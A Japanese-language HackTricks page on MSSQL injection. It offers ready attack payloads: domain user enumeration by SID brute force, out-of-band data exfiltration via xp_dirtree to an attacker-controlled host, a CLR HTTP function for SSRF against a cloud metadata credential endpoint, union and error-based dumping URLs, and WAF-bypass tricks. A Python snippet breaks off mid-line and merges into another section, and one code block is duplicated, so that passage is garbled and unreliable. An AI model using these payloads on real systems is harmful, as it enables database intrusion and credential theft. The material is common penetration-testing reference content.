# MSSQLインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## Active Directoryの列挙
MSSQLサーバー内でのSQLインジェクションを使用して、次のMSSQL関数を使用してドメインユーザーを列挙することができる場合があります。
* **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメインの名前を知っている場合(この例では_DOMAIN)、この関数は16進数形式でユーザーAdministratorの**SIDを返します**。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトは、**big endian**形式での**ユーザーadministratorの共通IDである500**です。\
この関数を使用すると、最後の4バイト以外の**ドメインのIDを知る**ことができます。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、big endianで**0000e803** == **1000**(通常、これは最初の通常のユーザーIDのIDです)。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。次のような関数を使用することができます:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('
MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャ`xp_dirtree`を使用することです。これはMicrosoftによって公式には文書化されていないため、[インターネット上の他の人々によって文書化されています](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。この方法は、[インターネット上の[Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)の投稿で複数の例で使用されています。
基本的には、
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
MySQLの`LOAD_FILE`と同様に、`xp_dirtree`を使用してネットワークリクエストを**TCPポート445のみ**に行うことができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。
**注意:**これは、デフォルトの設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`では機能しません。
**他にも**、[**`master..xp_fileexist`のような**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)ストアドプロシージャや**`xp_subdirs`**など、同様の結果を得るために使用できるものがあります。
### `xp_cmdshell`
もちろん、**`xp_cmdshell`**を使用して**SSRFをトリガーする何かを実行**することもできます。詳細については、ページの**関連セクション**を読んでください:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQLユーザー定義関数 - SQLHttp
**CLR UDF**(Common Language Runtime User Defined Function - **.NET**言語で書かれ、**DLL**にコンパイルされたコード)を簡単に作成し、MSSQL内でカスタム関数としてロードすることができます。ただし、これには`dbo`アクセスが必要なので、Webアプリケーションのデータベースへの接続が**`sa`または管理者の役割**として行われていない限り、機能しない場合があります。
[このGithubリポジトリには、Visual Studioプロジェクトとインストール手順があります](https://github.com/infiniteloopltd/SQLHttp)。これにより、バイナリをCLRアセンブリとしてMSSQLにロードし、MSSQL内からHTTP GETリクエストを呼び出すことができます。
[`http.cs`のコードでは、`WebClient`クラスを使用してGETリクエストを行い、コンテンツを取得します](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)。
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
インストール手順では、`CREATE ASSEMBLY` クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加します(`select * from sys.trusted_assemblies;` を使用してリストを表示できます)。
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行うことができます。
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
## **クイックな攻撃: 1つのクエリでテーブル全体を取得する**
1つのクエリでテーブルの全内容を取得するためには、FOR XMLまたはFOR JSON句を使用する方法があります。FOR XML句は「raw」といった指定されたモードが必要ですが、簡潔さの観点からFOR JSONが優れています。
現在のデータベースからスキーマ、テーブル、列を取得するクエリ:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
エラーベースのベクターは、JSONとしてフォーマットすることができないため、エイリアスまたは名前が必要です。
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
## **現在のクエリの取得**
実行中のSQLクエリは、`sys.dm_exec_requests`と`sys.dm_exec_sql_text`へのアクセスから取得できます。
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**権限:** ユーザーがサーバー上でVIEW SERVER STATE権限を持っている場合、ユーザーはSQL Serverのインスタンスで実行中のすべてのセッションを表示します。それ以外の場合、ユーザーは現在のセッションのみを表示します。
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **WAFバイパスのための小技**
非標準の空白文字: %C2%85または%C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
科学的な(0e)および16進(0x)表記によるUNIONの難読化:
```sql
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
```
```sql
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
```
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
FROMと列名の間には、スペースの代わりにピリオドを使用します。
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\Nは、SELECTと使い捨ての列の間の区切り文字です。
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
## 参考文献
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。